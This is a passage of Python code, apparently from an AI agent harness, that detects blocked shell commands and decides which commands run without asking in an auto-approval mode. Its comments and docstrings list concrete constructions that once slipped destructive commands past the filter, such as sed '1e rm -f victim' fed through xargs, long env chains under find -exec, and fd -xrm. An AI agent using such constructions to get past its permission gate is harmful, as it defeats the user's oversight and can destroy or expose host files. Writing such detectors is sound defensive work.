return frozenset()
|
|
if len(marked) != len(tokens):
|
|
return frozenset()
|
|
return frozenset(
|
|
index for index, token in enumerate(marked) if any(char in _GLOB_CHARS for char in token)
|
|
)
|
|
|
|
|
|
def _xargs_replacement(tokens: "list[str]", start: int, end: int) -> str:
|
|
"""The placeholder the xargs word at ``start`` substitutes into the command
|
|
words behind it, or "" when it replaces nothing. GNU xargs takes it attached
|
|
(`-I{}`), as the next word (`-I {}`) or after an `=` (`--replace={}`); `-i`
|
|
and a bare `--replace` default to `{}`."""
|
|
index = start + 1
|
|
while index < end:
|
|
token = tokens[index]
|
|
name, sep, value = token.partition("=")
|
|
if name in {"--replace", "--replace-str"}:
|
|
return value if sep and value else "{}"
|
|
if token.startswith("-I"):
|
|
if len(token) > 2:
|
|
return token[2:]
|
|
return tokens[index + 1] if index + 1 < end else "{}"
|
|
if token.startswith("-i") and len(token.rstrip()) >= 2:
|
|
return token[2:] or "{}"
|
|
index += 1
|
|
return ""
|
|
|
|
|
|
def _xargs_hides_sed_program(tokens: "list[str]", xargs: int, sed: int, program: str) -> bool:
|
|
"""Whether an xargs is the one deciding what program its sed runs.
|
|
|
|
xargs appends the words it reads on stdin, and with -I substitutes them into
|
|
the words already there, so the program need not be in the command TEXT at
|
|
all. Both of these run rm for real, one holding no program and the other only
|
|
the placeholder, so the sed fails closed:
|
|
printf '1e rm -f victim\\0input\\0' | xargs -0 sed
|
|
printf '1e rm -f victim\\n' | xargs -I{} sed '{}' input
|
|
The ordinary idioms are untouched, since their program is right there and the
|
|
placeholder stands where the FILE goes:
|
|
find . -name '*.py' | xargs sed -i 's/a/b/g'
|
|
find . -name '*.py' | xargs -I{} sed -i 's/a/b/' {}
|
|
"""
|
|
if not program.strip():
|
|
return True
|
|
placeholder = _xargs_replacement(tokens, xargs, sed)
|
|
return bool(placeholder) and placeholder in program
|
|
|
|
|
|
def _sed_program_is_a_placeholder(program: str) -> bool:
|
|
"""Whether the whole sed program is a token another tool REWRITES before sed
|
|
starts. find replaces `{}` with the pathname it found, so with a file named
|
|
`1e rm -f victim` the line
|
|
`printf 'input' | find '1e rm -f victim' -exec xargs sed {} +` really runs rm
|
|
while `{}` read as an already-known program. A `{}` among the FILE operands
|
|
(`find . -exec sed -i 's/a/b/' {} +`) is not the program and is untouched."""
|
|
return program.strip() == "{}"
|
|
|
|
|
|
def _forwards_exec_flags(base: str) -> bool:
|
|
"""Whether a command word runs a tool whose `-exec` / `-x` options hand the
|
|
words behind them to a child command. Exact names, plus any command-position
|
|
GLOB that could expand to one, so `/usr/bin/fin[d] . -exec rm {} \\;` is not
|
|
read as an ordinary word."""
|
|
if base in _EXEC_FLAG_FORWARDING_COMMANDS:
|
|
return True
|
|
return _is_unresolved_command_glob(base) and any(
|
|
fnmatch.fnmatchcase(name, base) for name in _EXEC_FLAG_FORWARDING_COMMANDS
|
|
)
|
|
|
|
|
|
def _exec_scan_layout(
|
|
tokens: "list[str]",
|
|
quoted: "frozenset[int]",
|
|
quoted_redirects: "frozenset[int]" = frozenset(),
|
|
) -> "tuple[frozenset[int], frozenset[int], frozenset[int]]":
|
|
"""``(exec-flag indexes, invocation-stop indexes, redirection indexes)`` for
|
|
one token list, in a single left-to-right pass.
|
|
|
|
An exec-flag index is a `find`/`fd` option whose following words are a
|
|
COMMAND that tool runs. Recognised only while a find/fd word the shell
|
|
really RUNS is in scope: those letters belong to too many other tools, so
|
|
`grep -x rm file` and the grep `-x` in `find . -exec grep -x rm {} \\;` must
|
|
not have rm hard-blocked.
|
|
|
|
A stop index ends a sed invocation: a separator the shell PERFORMS, or the
|
|
`;` / `{} +` closing an open exec action. Outside an action those are
|
|
ordinary operands, which keeps `sed -n ';' -e '1e rm -f victim' input`
|
|
readable while a real terminator still stops the scan.
|
|
|
|
A redirection index is a word the shell consumes and never hands to the
|
|
command. Taken FIRST, so the `&` in `sed 2>&1 '1e rm -f victim' input` reads
|
|
as part of that redirection rather than as the end of the invocation.
|
|
"""
|
|
exec_flags: "set[int]" = set()
|
|
stops: "set[int]" = set()
|
|
redirects: "set[int]" = set()
|
|
forwarding = False # a find/fd command word is in scope
|
|
in_action = False # inside its `-exec CMD ...` action
|
|
at_command = True # the next ordinary word is one the shell RUNS
|
|
wrapper = "" # a command prefix (env/timeout/sudo) awaiting that word
|
|
skip_operand = False # ...and its option's value stands in between
|
|
index = 0
|
|
while index < len(tokens):
|
|
token = tokens[index]
|
|
span = _redirection_span(tokens, index, quoted, quoted_redirects)
|
|
if span:
|
|
redirects.update(span)
|
|
index = span[-1] + 1
|
|
continue
|
|
here = index
|
|
index += 1
|
|
if _looks_like_separator(token) and here not in quoted:
|
|
stops.add(here)
|
|
forwarding = in_action = False
|
|
at_command = True
|
|
wrapper = ""
|
|
skip_operand = False
|
|
continue
|
|
if in_action and (
|
|
token in _FIND_EXEC_SEMICOLONS or (token == "+" and here and tokens[here - 1] == "{}")
|
|
):
|
|
# find ends the batched form at `{} +` only: a `+` anywhere else is
|
|
# an ordinary argument it hands the child, so
|
|
# `find . -exec sed -n '+' -e '1e touch MARKER' {} +` really runs the
|
|
# payload. The `;` forms need no such test: a quoted `';'` and an
|
|
# escaped `\\;` reach find as the same word and both terminate.
|
|
stops.add(here)
|
|
in_action = False
|
|
continue
|
|
if forwarding and token == "--" and not in_action:
|
|
# Nothing behind fd's `--` is an option: `fd -- -x rm` merely lists
|
|
# `rm/-x` and was being refused.
|
|
forwarding = False
|
|
at_command = False
|
|
continue
|
|
flag = token.split("=", 1)[0]
|
|
if forwarding and (
|
|
flag in _FIND_EXEC_FLAGS or (not in_action and flag in _EXEC_FORWARD_FLAGS)
|
|
):
|
|
exec_flags.add(here)
|
|
in_action = True
|
|
continue
|
|
if forwarding and not in_action and token[:2] in {"-x", "-X"} and len(token) > 2:
|
|
# fd takes the command attached to the short option too:
|
|
# `fd '^victim$' . -xrm` deletes the match for real (fdfind 9.0.0).
|
|
exec_flags.add(here)
|
|
in_action = True
|
|
continue
|
|
if at_command and token in _SHELL_KEYWORDS_AS_SEP:
|
|
continue # `then find ...` / `do find ...`: still a command position
|
|
if skip_operand:
|
|
skip_operand = False # a wrapper option's value (env -u NAME)
|
|
continue
|
|
if token.startswith("-") or _ASSIGNMENT_RE.match(token):
|
|
# A wrapper option whose value is a SEPARATE token precedes that
|
|
# value and not the wrapped command, so `env -u FOO find ...` keeps
|
|
# looking for find rather than stopping at FOO.
|
|
skip_operand = token in _WRAPPER_VALUE_FLAGS_BY_CMD.get(wrapper, frozenset())
|
|
continue
|
|
if wrapper and token.lstrip("-").isdigit():
|
|
continue # `timeout 5 find ...`: the wrapper's own operand
|
|
base = os.path.basename(token.strip(";&|()`{}")).lower()
|
|
if at_command and base in _COMMAND_PREFIXES:
|
|
wrapper = base
|
|
continue
|
|
if at_command and _forwards_exec_flags(base):
|
|
# Only a find/fd the shell really RUNS forwards its exec flags. Any
|
|
# token spelled `fd`/`find` used to turn one on, so `echo fd -x rm`
|
|
# and `grep fd -x rm file` came back with rm and were refused.
|
|
forwarding = True
|
|
at_command = False
|
|
wrapper = ""
|
|
return frozenset(exec_flags), frozenset(stops), frozenset(redirects)
|
|
|
|
|
|
def _find_blocked_commands(command: str) -> set[str]:
|
|
"""Detect blocked commands at shell command position only.
|
|
|
|
A token is at command position if it is the first token, or follows a
|
|
shell separator / brace-group opener / new-command keyword (`then`, `do`,
|
|
etc.), or a command-prefix wrapper like `env` / `time` / `xargs` (next
|
|
token is the real command). Tokens in argument position (`grep -r curl .`,
|
|
`echo source the data`, `ls /usr/bin/curl`) pass through. Also scans
|
|
`find ... -exec CMD` and recurses into bash -c / cmd /c.
|
|
"""
|
|
blocked: set[str] = set()
|
|
|
|
# Decode ANSI-C quoting first ($'ssh' -> ssh) so a blocked name hidden behind
|
|
# it is still detected at command position.
|
|
command = _decode_ansi_c(command, keep_one_word = True)
|
|
|
|
# punctuation_chars splits separators into their own tokens, so command
|
|
# position is detected even in `echo done; rm -rf x` (no whitespace).
|
|
lexed_posix = sys.platform != "win32"
|
|
try:
|
|
if sys.platform == "win32":
|
|
tokens = shlex.split(command, posix = False)
|
|
else:
|
|
lexer = shlex.shlex(command, posix = True, punctuation_chars = ";&|()`")
|
|
lexer.whitespace_split = True
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
tokens = command.split()
|
|
lexed_posix = False
|
|
# Which separator tokens the shell only produced because the quoting was
|
|
# stripped. The non-posix (Windows) lexer KEEPS the quote marks, so a quoted
|
|
# `';'` never looks like a separator there and nothing has to be recovered;
|
|
# the split() fallback has no quoting model at all, so it reports nothing
|
|
# either and both platforms reach the same verdict.
|
|
quoted_separators = (
|
|
_quoted_separator_indexes(command, tokens, ";&|()`") if lexed_posix else frozenset()
|
|
)
|
|
quoted_redirects = (
|
|
_quoted_redirection_indexes(command, tokens, ";&|()`") if lexed_posix else frozenset()
|
|
)
|
|
exec_flag_indexes, invocation_stops, redirect_indexes = _exec_scan_layout(
|
|
tokens, quoted_separators, quoted_redirects
|
|
)
|
|
# Built only when a sed is actually reached, since it costs a second lex.
|
|
glob_indexes: "frozenset[int] | None" = None
|
|
|
|
def _token_basename(tok: str) -> str:
|
|
# Strip glued-on meta-chars (`rm;`) so the basename still matches `rm`.
|
|
tok = tok.strip(";&|()`{}")
|
|
base = os.path.basename(tok).lower()
|
|
stem, ext = os.path.splitext(base)
|
|
if ext in {".exe", ".com", ".bat", ".cmd"}:
|
|
base = stem
|
|
return base
|
|
|
|
def _exec_child_index(start: int) -> "tuple[int, bool]":
|
|
"""The command a `find -exec` actually runs, as ``(index, overflowed)``;
|
|
the index is -1 when the action holds no command word at all.
|
|
|
|
Command prefixes forward to their target, so `-exec env sed ...` runs
|
|
sed. Wrapper flags, assignment prefixes and duration operands are
|
|
stepped over as the walk above does, and a wrapper option taking a
|
|
SEPARATE value consumes it too, else that value reads as the command
|
|
(`-exec env -u FOO sed ...` came back with `FOO`). The hop is bounded so
|
|
`-exec env -exec env ...` cannot make this quadratic.
|
|
|
|
``overflowed`` says the bound ran out with words still ahead. That is
|
|
NOT the same as finding nothing, and reporting both as "no child" let a
|
|
long enough chain read as safe: `-exec` + 33 `env` + `rm -f victim ;`
|
|
really deletes. The caller fails closed on it.
|
|
"""
|
|
i, steps, wrapper = start, 0, ""
|
|
while i < len(tokens) and steps < _MAX_EXEC_PREFIX_SCAN:
|
|
token = tokens[i]
|
|
if token in _SHELL_SEPARATORS or token in _FIND_EXEC_TERMINATORS:
|
|
return -1, False
|
|
steps += 1
|
|
if wrapper and token in _WRAPPER_VALUE_FLAGS_BY_CMD.get(wrapper, frozenset()):
|
|
# `env -u NAME`, `stdbuf -o L`: the option and its operand, both
|
|
# consumed in ONE step -- the budget bounds the work done per
|
|
# -exec, and stepping over two tokens costs no more than one.
|
|
# An attached spelling (-uNAME, --unset=NAME) carries its own
|
|
# value and is skipped by the plain-option branch below.
|
|
i += 2
|
|
continue
|
|
if wrapper and (
|
|
token.startswith("-") or _ASSIGNMENT_RE.match(token) or token.lstrip("-").isdigit()
|
|
):
|
|
# `env -i`, `env A=b`, `timeout 5`: the wrapper's own argument.
|
|
i += 1
|
|
continue
|
|
base = _token_basename(token)
|
|
if base in _COMMAND_PREFIXES:
|
|
wrapper = base
|
|
i += 1
|
|
continue
|
|
return i, False
|
|
# Walking off the end means the action really held nothing; stopping on
|
|
# the bound with words still ahead means the child is merely UNREAD.
|
|
return -1, steps >= _MAX_EXEC_PREFIX_SCAN and i < len(tokens)
|
|
|
|
expect_command = True # start of string is a command position
|
|
prefix_pending = False # last cmd-position token was a wrapper (env/time/xargs/...)
|
|
prefix_command = "" # which wrapper that was, for its own value-taking options
|
|
skip_operand = False # consume a wrapper/conditional operand, not the command
|
|
sed_indexes: "list[int]" = [] # command-position sed words, for the `e` scan below
|
|
sed_xargs: "dict[int, int]" = {} # sed word -> the xargs that builds its argv
|
|
xargs_index = -1 # an xargs awaiting the command it wraps
|
|
for token_index, token in enumerate(tokens):
|
|
if skip_operand:
|
|
# `exec -a NAME cmd` and `if exist FILE cmd` both put an operand
|
|
# where the command word would otherwise be.
|
|
skip_operand = False
|
|
continue
|
|
if expect_command and token.lower() in _WIN_CONDITIONAL_KEYWORDS:
|
|
skip_operand = token.lower() != "not"
|
|
continue
|
|
if prefix_pending and token == "-a":
|
|
skip_operand = True
|
|
continue
|
|
if token_index in redirect_indexes:
|
|
# The shell performs the redirection and hands the command neither
|
|
# word, so command position is unchanged by it: `> out.txt rm -rf
|
|
# victim` and `2>&1 rm -rf victim` both really delete, while reading
|
|
# `out.txt` (and the `1`) as the command word left the `rm` behind
|
|
# it in argument position and the blocklist came back empty.
|
|
continue
|
|
# A keyword only separates where a COMMAND may start (see below).
|
|
# A quoted operator is DATA the command receives, not a separator, so it
|
|
# leaves command position alone: `printf '%s' '|&' rm` and
|
|
# `grep '|&' rm file` run nothing and must not be refused.
|
|
if (_looks_like_separator(token) and token_index not in quoted_separators) or (
|
|
token in _SHELL_KEYWORDS_AS_SEP and expect_command
|
|
):
|
|
expect_command = True
|
|
prefix_pending = False
|
|
prefix_command = ""
|
|
xargs_index = -1
|
|
continue
|
|
if token.startswith("-"):
|
|
# A wrapper option whose value is a SEPARATE token precedes that
|
|
# value, not the wrapped command. Without consuming it the value is
|
|
# read as the command word and the real command behind it is never
|
|
# reached: `env -u PATH rm -rf x` and `xargs -I {} rm -rf build`
|
|
# both came back empty. An attached spelling (-uPATH, --unset=PATH)
|
|
# carries its own value and falls through to the plain-flag case.
|
|
if prefix_pending and token in _WRAPPER_VALUE_FLAGS_BY_CMD.get(
|
|
prefix_command, frozenset()
|
|
):
|
|
skip_operand = True
|
|
continue
|
|
# Flags belong to the active command, but keep expect_command while a
|
|
# wrapper prefix awaits its command (`stdbuf -oL cmd`, `xargs -- cmd`).
|
|
if not prefix_pending:
|
|
expect_command = False
|
|
continue
|
|
if not expect_command:
|
|
continue
|
|
# A redirection may precede the command word (`</dev/null rm -rf x`).
|
|
if _REDIR_PREFIX_RE.match(token):
|
|
continue
|
|
# FOO=bar assignment prefix; next non-assignment token is the command.
|
|
if _ASSIGNMENT_RE.match(token):
|
|
continue
|
|
# Numeric wrapper arg: `timeout 1 cmd` / `nice -n 5 cmd`.
|
|
if prefix_pending and token.lstrip("-").isdigit():
|
|
continue
|
|
base = _token_basename(token)
|
|
if _is_sed_command(base):
|
|
sed_indexes.append(token_index)
|
|
if xargs_index >= 0:
|
|
sed_xargs[token_index] = xargs_index
|
|
if base in _BLOCKED_COMMANDS:
|
|
blocked.add(base)
|
|
else:
|
|
blocked |= _blocked_matching_glob(base)
|
|
# Wrappers (env/time/xargs/sudo) consume one command; the next non-flag,
|
|
# non-numeric token is the real command. sudo is also in _BLOCKED_COMMANDS.
|
|
if base in _COMMAND_PREFIXES:
|
|
if base == "xargs" and xargs_index < 0:
|
|
xargs_index = token_index
|
|
prefix_pending = True
|
|
prefix_command = base
|
|
continue
|
|
expect_command = False
|
|
prefix_pending = False
|
|
prefix_command = ""
|
|
xargs_index = -1
|
|
|
|
# `alias zap='rm -rf'` stores a command bash runs when the alias is invoked,
|
|
# so the body is scanned as a command in its own right.
|
|
for i, tok in enumerate(tokens):
|
|
if _token_basename(tok) != "alias":
|
|
continue
|
|
for nxt in tokens[i + 1 :]:
|
|
if nxt in _SHELL_SEPARATORS:
|
|
break
|
|
_name, _sep, _value = nxt.partition("=")
|
|
if _sep and _value:
|
|
blocked |= _find_blocked_commands(_value)
|
|
|
|
# `find ... -exec CMD ... ;`, `-execdir CMD ... ;` and fd's `-x` / `-X` /
|
|
# `--exec` / `--exec-batch` all invoke CMD directly (_exec_scan_layout picks
|
|
# which spellings count where). Reading only find's own flags left every fd
|
|
# form unscanned, so `fd -x rm -rf x` and `fd -x sed '1e rm -f victim' {}`
|
|
# -- both verified to run -- reached the hard blocklist as nothing at all.
|
|
for i, tok in enumerate(tokens):
|
|
# The long flags also carry the command attached (fd --exec=rm), where
|
|
# the value is command position rather than a discarded option argument.
|
|
attached = ""
|
|
if tok[:2] in {"-x", "-X"} and len(tok) > 2 and i in exec_flag_indexes:
|
|
# fd takes the command attached to the short option (`fd ... -xrm`),
|
|
# where the value is command position rather than an option argument.
|
|
attached = tok[2:].strip("\"'")
|
|
elif "=" in tok and tok.split("=", 1)[0] in _ATTACHED_EXEC_FLAGS:
|
|
attached = tok.split("=", 1)[1].strip("\"'")
|
|
if attached:
|
|
attached_base = _token_basename(attached.split()[0])
|
|
if _is_sed_command(attached_base):
|
|
# The words after the flag are that sed's arguments, so its
|
|
# program is screened from the FLAG. fd 9 actually takes them
|
|
# as search paths and runs nothing, so this only ever blocks
|
|
# a command that could not have worked anyway; a spelling
|
|
# that does forward them would otherwise be a free pass.
|
|
sed_indexes.append(i)
|
|
if attached_base in _BLOCKED_COMMANDS:
|
|
blocked.add(attached_base)
|
|
else:
|
|
blocked |= _blocked_matching_glob(attached_base)
|
|
if i in exec_flag_indexes and i + 1 < len(tokens):
|
|
# The word right after the flag AND the command it forwards to: a
|
|
# wrapper is a command in its own right (`-exec sudo ls`) as well as
|
|
# a step on the way to another one (`-exec env rm -rf x`), so
|
|
# dropping either half loses a real detection.
|
|
child, prefix_overflowed = _exec_child_index(i + 1)
|
|
if prefix_overflowed:
|
|
# The wrapper chain outran the hop budget, so the command that
|
|
# finally runs was never reached: block the chain itself rather
|
|
# than let `-exec env ...x33 rm -f victim ;` ride in behind it.
|
|
blocked.add(_token_basename(tokens[i + 1]))
|
|
continue
|
|
exec_words = [i + 1] if child in (-1, i + 1) else [i + 1, child]
|
|
for word in exec_words:
|
|
base = _token_basename(tokens[word])
|
|
if _is_sed_command(base):
|
|
# find runs its -exec child directly, but the walk above only
|
|
# reaches `find`, so a sed there never got its program
|
|
# screened (`find . -exec sed '1e rm -f victim' {} +`, and
|
|
# behind a wrapper `find . -exec env sed '1e ...' {} +`).
|
|
sed_indexes.append(word)
|
|
if base in _BLOCKED_COMMANDS:
|
|
blocked.add(base)
|
|
else:
|
|
blocked |= _blocked_matching_glob(base)
|
|
|
|
# Regex catches blocked words at command boundaries shlex misses: inside
|
|
# $(rm -rf), <(rm), backtick chains, or "foo;rm". Anchored to command-position
|
|
# delimiters, so it doesn't match in argument position.
|
|
lowered = command.lower()
|
|
if _BLOCKED_COMMANDS:
|
|
words_alt = "|".join(re.escape(w) for w in sorted(_BLOCKED_COMMANDS))
|
|
pattern = (
|
|
rf"(?:^|[;&|`\n(]\s*|[$]\(\s*|<\(\s*)"
|
|
rf"(?:[\w./\\-]*/|[a-zA-Z]:[/\\][\w./\\-]*)?"
|
|
rf"({words_alt})(?:\.(?:exe|com|bat|cmd))?\b"
|
|
)
|
|
blocked.update(re.findall(pattern, lowered))
|
|
|
|
# Nested shell invocations (bash -c '...', bash -lc '...', cmd /c '...'):
|
|
# on a -c/-/c flag, look back for a shell name (skipping flags) and
|
|
# recursively scan the nested command string.
|
|
_SHELLS = {"bash", "sh", "zsh", "dash", "ksh", "csh", "tcsh", "fish"}
|
|
_SHELLS_WIN = {"cmd", "cmd.exe"}
|
|
for i, token in enumerate(tokens):
|
|
tok_lower = token.lower()
|
|
# Match -c exactly, or combined flags ending in c (e.g. -lc, -xc)
|
|
is_unix_c = tok_lower == "-c" or (
|
|
tok_lower.startswith("-") and tok_lower.endswith("c") and not tok_lower.startswith("--")
|
|
)
|
|
is_win_c = tok_lower == "/c"
|
|
if not (is_unix_c or is_win_c) or i < 1 or i + 1 >= len(tokens):
|
|
continue
|
|
# Look back past flags for the shell binary. Windows flags and absolute
|
|
# paths both start with /, so only skip short /X flags (not /bin/bash).
|
|
for j in range(i - 1, -1, -1):
|
|
prev = tokens[j]
|
|
if prev.startswith("-"):
|
|
continue # skip Unix flags like --login, -l
|
|
if is_win_c and prev.startswith("/") and len(prev) <= 3:
|
|
continue # skip Windows flags like /s, /q (not /bin/bash)
|
|
prev_base = os.path.basename(prev).lower()
|
|
if is_unix_c and prev_base in _SHELLS:
|
|
blocked |= _find_blocked_commands(tokens[i + 1])
|
|
elif is_win_c and prev_base in _SHELLS_WIN:
|
|
blocked |= _find_blocked_commands(tokens[i + 1])
|
|
break # stop at first non-flag token
|
|
|
|
# sed's `e COMMAND` hands COMMAND to the shell, a real command position the
|
|
# scan above sees only as a text argument, so screen it like `bash -c`. The
|
|
# pattern-space forms yield an empty payload; the auto gate prompts on those.
|
|
sed_limit = _sed_scan_limit(len(sed_indexes))
|
|
# Built at most once per call, and only when some program actually names a
|
|
# variable, so a line packed with sed words stays linear.
|
|
sed_vars: "dict[str, str] | None" = None
|
|
sed_bindings: "list[tuple[int, str, str | None]] | None" = None
|
|
sed_cursor = 0
|
|
# Visited left to right so the binding cursor below only moves forward.
|
|
for i in sorted(set(sed_indexes)):
|
|
# A script --sandbox / --posix stops sed compiling is already left out of
|
|
# the program (_sed_invocation), so a name inside one is never blocked.
|
|
if glob_indexes is None:
|
|
glob_indexes = (
|
|
_unquoted_glob_indexes(command, tokens, ";&|()`") if lexed_posix else frozenset()
|
|
)
|
|
alternatives, scan_overflowed, _live = _sed_invocation(
|
|
tokens, i, sed_limit, invocation_stops, redirect_indexes, glob_indexes
|
|
)
|
|
program = "\n".join(alternatives)
|
|
if scan_overflowed:
|
|
# The script sits past the scan window, so an empty program here is
|
|
# only ignorance: block the sed itself rather than let an
|
|
# `e rm -rf ~` ride in behind enough padding options.
|
|
blocked.add(_token_basename(tokens[i]))
|
|
continue
|
|
if _sed_program_is_a_placeholder(program):
|
|
# find rewrites `{}` before the child starts, so this is not a
|
|
# program that was read (see _sed_program_is_a_placeholder).
|
|
blocked.add(_token_basename(tokens[i]))
|
|
continue
|
|
if i in sed_xargs and _xargs_hides_sed_program(tokens, sed_xargs[i], i, program):
|
|
# The program comes off stdin or out of an -I placeholder, so it is
|
|
# not in the text to read at all (see _xargs_hides_sed_program).
|
|
blocked.add(_token_basename(tokens[i]))
|
|
continue
|
|
if "$" in program:
|
|
# A program held in a variable (p='...e rm -f victim'; sed "$p" f)
|
|
# only shows its `e` once the reference is resolved. shlex kept the
|
|
# quoted value whole, newlines and all, so the binding is exact.
|
|
# Only the assignments AHEAD of this sed are in scope, and the last
|
|
# of them wins, which is the pair that `p='1,3p';
|
|
# p='1e rm -f victim'; sed "$p" input` turns on.
|
|
if sed_bindings is None:
|
|
sed_bindings = _assignment_bindings(tokens, quoted_separators)
|
|
sed_vars = {}
|
|
sed_cursor = _bindings_before(sed_bindings, sed_cursor, i, sed_vars)
|
|
for alternative in alternatives:
|
|
for variant in _sed_program_variants(alternative, sed_vars or {}):
|
|
for payload in _sed_exec_payloads(variant):
|
|
if payload:
|
|
blocked |= _find_blocked_commands(payload)
|
|
|
|
return blocked
|
|
|
|
|
|
# Directory holding the sandbox ``sitecustomize.py`` shim (code-interpreter
|
|
# path remap); placed on the sandboxed child's PYTHONPATH in _build_safe_env.
|
|
_SANDBOX_SITE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox_site")
|
|
|
|
# ── "Approve for me" (permission_mode="auto") safety detection ──────────────
|
|
# Auto mode pauses only calls classified here as potentially unsafe. The sandbox
|
|
# and hard blocks (blocklist, rlimits) still apply at run time; this gate only
|
|
# decides prompting, and fails closed: anything not provably read-only asks.
|
|
|
|
# Read-only commands allowed to run without confirmation in auto mode.
|
|
_AUTO_SAFE_TERMINAL_COMMANDS = frozenset(
|
|
{
|
|
"ls",
|
|
"dir",
|
|
"pwd",
|
|
# cd absent: `cd /; cat etc/passwd` escapes the workdir for a later
|
|
# relative read the path scan cannot see, so cd always asks.
|
|
"cat",
|
|
"head",
|
|
"tail",
|
|
# less/more absent: their pager escapes (+cmd, !shell, -o, LESSOPEN) can
|
|
# run a command or write a file, so they always ask.
|
|
"grep",
|
|
"egrep",
|
|
"fgrep",
|
|
"rg",
|
|
"find",
|
|
"fd",
|
|
"wc",
|
|
"sort",
|
|
"uniq",
|
|
"cut",
|
|
"tr",
|
|
"diff",
|
|
"cmp",
|
|
"file",
|
|
"stat",
|
|
"du",
|
|
"df",
|
|
# ps absent: BSD env flags (ps auxe, ps eww) dump a parent's unscrubbed
|
|
# env and can't be flag-parsed reliably, so ps always asks.
|
|
"date",
|
|
"cal",
|
|
"whoami",
|
|
"id",
|
|
"uname",
|
|
"hostname",
|
|
"uptime",
|
|
"which",
|
|
"whereis",
|
|
"type",
|
|
"basename",
|
|
"dirname",
|
|
"realpath",
|
|
"readlink",
|
|
"md5",
|
|
"md5sum",
|
|
"shasum",
|
|
"sha1sum",
|
|
"sha256sum",
|
|
"cksum",
|
|
"tree",
|
|
"printenv",
|
|
"echo",
|
|
"printf",
|
|
"true",
|
|
"false",
|
|
"test",
|
|
"[",
|
|
"seq",
|
|
"nl",
|
|
"od",
|
|
"xxd",
|
|
"hexdump",
|
|
"strings",
|
|
"column",
|
|
"paste",
|
|
"join",
|
|
"comm",
|
|
"expand",
|
|
"unexpand",
|
|
"fold",
|
|
"fmt",
|
|
"rev",
|
|
"tac",
|
|
"locale",
|
|
"arch",
|
|
"nproc",
|
|
"sw_vers",
|
|
"jq",
|
|
}
|
|
)
|
|
# Flags that turn an otherwise read-only command into a writer or executor
|
|
# (sort -o FILE, tree -o FILE, xxd -r IN OUT, find -exec/-delete/...).
|
|
_AUTO_UNSAFE_COMMAND_FLAGS = {
|
|
# --files0-from=F makes sort read the NUL-separated list of input files
|
|
# named in F, so a crafted list reads arbitrary host files indirectly.
|
|
"sort": frozenset(
|
|
{"-o", "--output", "--compress-program", "-T", "--temporary-directory", "--files0-from"}
|
|
),
|
|
"tree": frozenset({"-o"}),
|
|
"xxd": frozenset({"-r"}),
|
|
# -c/--check makes a checksum tool read a manifest file and then read every
|
|
# path it names, so a manifest listing /etc/passwd turns `sha256sum -c list`
|
|
# into an indirect host-file read; the digest form (sha256sum file) only reads
|
|
# the named files.
|
|
"md5sum": frozenset({"-c", "--check"}),
|
|
"sha1sum": frozenset({"-c", "--check"}),
|
|
"sha256sum": frozenset({"-c", "--check"}),
|
|
"shasum": frozenset({"-c", "--check"}),
|
|
"cksum": frozenset({"-c", "--check"}),
|
|
# GNU time -o/--output/-a/--append FILE writes timing output; time is a
|
|
# wrapper, so the flag is checked before the wrapped command like env -C.
|
|
"time": frozenset({"-o", "--output", "-a", "--append"}),
|
|
# rg runs an arbitrary program per file with --pre/--hostname-bin.
|
|
"rg": frozenset({"--pre", "--hostname-bin"}),
|
|
# env -C/--chdir escapes the workdir; -S/--split-string builds a command.
|
|
"env": frozenset({"-C", "--chdir", "-S", "--split-string"}),
|
|
# ionice -p/-P/-u change the I/O priority of an already running process /
|
|
# group / user instead of forwarding to a wrapped read-only command, so a
|
|
# bare `ionice -c 3 -p <pid>` mutates another process. ionice stays a safe
|
|
# wrapper for `ionice -c 3 <cmd>`; only the process-target flags ask.
|
|
"ionice": frozenset({"-p", "-P", "-u"}),
|
|
# printf -v NAME assigns to a shell var, so `printf -v PATH %s .; ls` runs
|
|
# ./ls from the workdir.
|
|
"printf": frozenset({"-v"}),
|
|
# wc/du/find --files0-from=F read the NUL-separated list of input paths named
|
|
# in F, so a crafted list reads arbitrary host files past the literal path /
|
|
# root checks, like sort --files0-from. find spells it -files0-from (a primary).
|
|
"wc": frozenset({"--files0-from"}),
|
|
"du": frozenset({"--files0-from"}),
|
|
"find": frozenset(
|
|
{
|
|
"-exec",
|
|
"-execdir",
|
|
"-ok",
|
|
"-okdir",
|
|
"-delete",
|
|
"-fprint",
|
|
"-fprint0",
|
|
"-fprintf",
|
|
"-fls",
|
|
"-files0-from",
|
|
}
|
|
),
|
|
# fd -x/--exec/-X/--exec-batch run a command per result;
|
|
# --base-directory/--search-path move the search root outside the workdir.
|
|
"fd": frozenset({"-x", "--exec", "-X", "--exec-batch", "--base-directory", "--search-path"}),
|
|
# date -s/--set writes the clock; display forms (+FORMAT, -d/-u/-R/-r) read.
|
|
"date": frozenset({"-s", "--set"}),
|
|
# file -C/--compile writes a compiled .mgc magic database; ident forms read.
|
|
"file": frozenset({"-C", "--compile"}),
|
|
# hostname -F/--file, -b/--boot set the hostname; display flags only read.
|
|
"hostname": frozenset({"-F", "--file", "-b", "--boot"}),
|
|
}
|
|
# Commands safe only without a mutating positional: `hostname NAME` sets the
|
|
# hostname, `date MMDDhhmm...` sets the clock (a +FORMAT token or a display
|
|
# flag's value stays read-only), so any other positional asks.
|
|
_AUTO_ARG_SENSITIVE_COMMANDS = frozenset({"hostname", "date"})
|
|
# date display flags taking a value token (-d STRING, -r FILE, -f FILE); the
|
|
# value is not a clock-setting positional, so it is skipped.
|
|
_DATE_DISPLAY_VALUE_FLAGS = frozenset({"-d", "--date", "-r", "--reference", "-f", "--file"})
|
|
# Commands that write their 2nd positional (uniq [INPUT [OUTPUT]], xxd [infile
|
|
# [outfile]]): the 1st file reads to stdout, but a second file positional
|
|
# overwrites it, like `sort -o`.
|
|
_AUTO_SECOND_POSITIONAL_WRITES = frozenset({"uniq", "xxd"})
|
|
# Value-taking option flags for those commands whose argument is a separate token
|
|
# (uniq -f 2, xxd -c 16). The value must be consumed so a numeric option value is
|
|
# not miscounted as the output-file positional, and, conversely, a file that is
|
|
# literally named with digits (uniq 123 out) is still counted.
|
|
_SECOND_POSITIONAL_VALUE_FLAGS = {
|
|
"uniq": frozenset({"-f", "--skip-fields", "-s", "--skip-chars", "-w", "--check-chars"}),
|
|
"xxd": frozenset(
|
|
{"-c", "--cols", "-s", "--seek", "-l", "--len", "-g", "--groupsize", "-o", "--offset"}
|
|
),
|
|
}
|
|
# find/fd group with (...) which resets command context, so scan every token for
|
|
# these once find/fd appears anywhere.
|
|
